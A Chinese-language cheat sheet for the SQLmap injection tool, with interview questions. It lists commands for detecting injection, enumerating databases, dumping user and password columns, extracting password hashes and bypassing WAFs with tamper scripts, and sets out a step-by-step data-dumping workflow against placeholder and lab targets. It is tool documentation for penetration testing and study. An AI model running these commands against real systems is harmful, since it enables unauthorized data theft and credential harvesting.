1 官方简介

SQLmap 是一款自动化的 SQL 注入工具,广泛用于检测和利用 SQL 注入漏洞。

官网:https://sqlmap.org/

GitHub:https://github.com/sqlmapproject/sqlmap

使用手册:https://github.com/sqlmapproject/sqlmap/wiki/Usage

支持语言:python 2.6,2.7,3.x

2 核心命令

功能场景 命令格式 说明
注入检测 python sqlmap.py -u "URL?id=1" -p "id" -u指定URL,-p指定待检测参数,可同时指定多个参数(如-p "id,uid")。
注入检测(请求文件) python sqlmap.py -r request.txt 从文件读取HTTP请求进行检测,适用于复杂请求。
获取数据库列表 python sqlmap.py -u "URL" --dbs 列出所有数据库名称。
获取表列表 python sqlmap.py -u "URL" -D "dbname" --tables -D指定数据库名,获取该库下所有表。
获取字段列表 python sqlmap.py -u "URL" -D "dbname" -T "tablename" --columns -T指定表名,获取该表所有字段。
导出数据 python sqlmap.py -u "URL" -D "dbname" -T "tablename" -C "col1,col2" --dump -C指定字段名,--dump导出数据,支持CSV格式存储。
获取用户信息 python sqlmap.py -u "URL" --users 列出数据库用户。
获取用户密码 python sqlmap.py -u "URL" --passwords 列出用户密码哈希值(高权限时有效)。

3 高级参数

  • 探测等级--level 3(默认1,最高5),提升至3时会检测Referer等头部注入。
  • 风险等级-risk 3(默认1,最高3),增加Payload复杂度。
  • 绕过防护--tamper "模块名",使用tamper目录下的脚本(如unionallmagic.py)绕过WAF。
  • 自动模式--batch,无需手动确认,自动执行所有操作。
  • 脱库示例python sqlmap.py -r req.txt --batch -D dvwa -T users -C "user,password" --dump,导出dvwa库users表的user和password字段。

4 数据脱库完整流程

当某个接口参数通过sqlmap爆出存在注入,则可以继续执行脱库命令。

  1. 检测注入python sqlmap.py -u "http://xxx.com?id=1"
  2. 获取库名python sqlmap.py -u "URL" --dbs
  3. 获取表名python sqlmap.py -u "URL" -D "security" --tables
  4. 获取字段python sqlmap.py -u "URL" -D "security" -T "users" --columns
  5. 导出数据python sqlmap.py -u "URL" -D "security" -T "users" -C "id,username,password" --dump
  6. 全库导出python sqlmap.py -u "URL" -D "security" --dump-all

5 关键问题及答案(面试)

1. 如何快速检测URL是否存在SQL注入?

答案:使用-u参数指定URL,-p指定参数,如python sqlmap.py -u "http://xxx.com/page?id=1" -p "id",若存在注入,工具会提示注入类型及可利用参数。

2. 脱库时如何逐步获取数据库中的表和字段信息

答案:首先通过--dbs获取所有数据库名,如--dbs;然后用-D "库名" --tables获取指定库的表,如-D security --tables;接着用-T "表名" --columns获取表的字段,如-T users --columns;最后用-C "字段名" --dump导出数据,如-C "username,password" --dump

3. 如何提升SqlMap的探测能力并绕过防护

答案:通过--level 5 -risk 3提升探测等级(level控制Payload数量,risk控制复杂度),同时使用--tamper "模块名"调用绕过脚本(如--tamper "space2comment"将空格替换为注释符),还可通过--referer伪造请求头,增加注入成功率。

Logo

葡萄城是专业的软件开发技术和低代码平台提供商,聚焦软件开发技术,以“赋能开发者”为使命,致力于通过表格控件、低代码和BI等各类软件开发工具和服务

更多推荐